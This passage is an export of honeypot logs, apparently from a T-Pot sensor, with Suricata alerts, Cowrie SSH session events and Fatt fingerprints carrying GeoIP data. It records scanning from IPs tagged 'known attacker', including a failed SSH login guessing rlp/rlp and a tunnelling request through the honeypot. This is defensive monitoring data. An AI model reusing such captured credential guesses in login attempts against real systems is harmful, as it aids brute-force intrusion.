30119	192.168.20.147	109.199.241.180	Suricata	2021-09-20 14:32:08.090195+03	2021-09-20 14:45:02.588141+03	{"_id": "OAb6AnwBvYTbRNuERjob", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:32:08.090195Z", "@timestamp": "2021-09-20T11:32:08.090Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30120	1.117.219.217	109.199.241.180	Fatt	2021-09-20 14:32:41.562015+03	2021-09-20 14:45:02.589143+03	{"_id": "lwb6AnwBvYTbRNuEyDoj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.117.219.217", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 46720, "dest_port": 22, "timestamp": "2021-09-20T11:32:41.562015", "@timestamp": "2021-09-20T11:32:41.562Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30121	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:32:42.164093+03	2021-09-20 14:45:02.590142+03	{"_id": "ngb6AnwBvYTbRNuEyTpO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "9c9dd5094e15", "@version": "1", "timestamp": "2021-09-20T11:32:42.164093Z", "@timestamp": "2021-09-20T11:32:42.164Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30122	46.101.115.211	109.199.241.180	Suricata	2021-09-20 14:32:42.163855+03	2021-09-20 14:45:02.591141+03	{"_id": "owb6AnwBvYTbRNuEyjr7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:32:42.092635+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "46.101.115.211", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 831859757574619, "payload": "AAADzAYU3rBQalMVZu4Hio0R8EIYvQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49688, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:32:42.163855Z", "@timestamp": "2021-09-20T11:32:42.163Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........PjS.f......B.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
30123	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:32:42.131922+03	2021-09-20 14:45:02.592141+03	{"_id": "pAb6AnwBvYTbRNuEzDoN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "46.101.115.211", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49688, "timestamp": "2021-09-20T11:32:42.131922", "@timestamp": "2021-09-20T11:32:42.131Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30124	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:32:42.394582+03	2021-09-20 14:45:02.593142+03	{"_id": "pwb6AnwBvYTbRNuEzTo3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.login.failed", "message": "login attempt [rlp/rlp] failed", "session": "9c9dd5094e15", "@version": "1", "password": "rlp", "username": "rlp", "timestamp": "2021-09-20T11:32:42.394582Z", "@timestamp": "2021-09-20T11:32:42.394Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30125	104.94.242.31	109.199.241.180	Suricata	2021-09-20 14:32:17.851663+03	2021-09-20 14:45:02.595143+03	{"_id": "Vwb6AnwBvYTbRNuEbTox", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:32:17.851663+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "104.94.242.31", "asn": 6461, "as_org": "Zayo Bandwidth Inc", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "104.94.242.31", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 542823489339087, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 55202, "timestamp": "2021-09-20T11:32:17.851663Z", "@timestamp": "2021-09-20T11:32:17.851Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
30126	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:32:20.808468+03	2021-09-20 14:45:02.596143+03	{"_id": "Wgb6AnwBvYTbRNuEdjoU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.196", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38380, "timestamp": "2021-09-20T11:32:20.808468", "@timestamp": "2021-09-20T11:32:20.808Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30127	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:32:20.80703+03	2021-09-20 14:45:02.597141+03	{"_id": "aAb6AnwBvYTbRNuEdzo9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 5.188.62.196:38380 (192.168.176.2:22) [session: a1a43167aa3f]", "session": "a1a43167aa3f", "@version": "1", "protocol": "ssh", "src_port": 38380, "dest_port": 22, "timestamp": "2021-09-20T11:32:20.807030Z", "@timestamp": "2021-09-20T11:32:20.807Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
30128	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:32:21.11984+03	2021-09-20 14:45:02.599142+03	{"_id": "aQb6AnwBvYTbRNuEdzo9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "dest_ip": "96.43.128.70", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to 96.43.128.70:80 from 0.0.0.0:0", "session": "a1a43167aa3f", "@version": "1", "src_port": 0, "dest_port": 80, "timestamp": "2021-09-20T11:32:21.119840Z", "@timestamp": "2021-09-20T11:32:21.119Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.direct-tcpip.request	\N	\N	\N
30129	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:32:20.807855+03	2021-09-20 14:45:02.600143+03	{"_id": "agb6AnwBvYTbRNuEdzo9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "a1a43167aa3f", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T11:32:20.807855Z", "@timestamp": "2021-09-20T11:32:20.807Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
30130	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:32:20.970743+03	2021-09-20 14:45:02.601143+03	{"_id": "awb6AnwBvYTbRNuEeDrq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 4891, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1963463379570679, "@version": "1", "in_iface": "enp5s0", "src_port": 34851, "dest_port": 53, "timestamp": "2021-09-20T11:32:20.970743Z", "@timestamp": "2021-09-20T11:32:20.970Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30131	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:32:21.6659+03	2021-09-20 14:45:02.602141+03	{"_id": "bAb6AnwBvYTbRNuEeDrq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 38533, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 705, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1187364936688811, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 34521, "timestamp": "2021-09-20T11:32:21.665900Z", "@timestamp": "2021-09-20T11:32:21.665Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30132	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:32:20.972658+03	2021-09-20 14:45:02.603141+03	{"_id": "bgb6AnwBvYTbRNuEeDrs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 4891, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 706, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1963463379570679, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 34851, "timestamp": "2021-09-20T11:32:20.972658Z", "@timestamp": "2021-09-20T11:32:20.972Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30133	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:32:21.664747+03	2021-09-20 14:45:02.604141+03	{"_id": "bwb6AnwBvYTbRNuEeDrs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 38533, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1187364936688811, "@version": "1", "in_iface": "enp5s0", "src_port": 34521, "dest_port": 53, "timestamp": "2021-09-20T11:32:21.664747Z", "@timestamp": "2021-09-20T11:32:21.664Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
30134	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:32:21.02441+03	2021-09-20 14:45:02.605143+03	{"_id": "cAb6AnwBvYTbRNuEeTr9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": 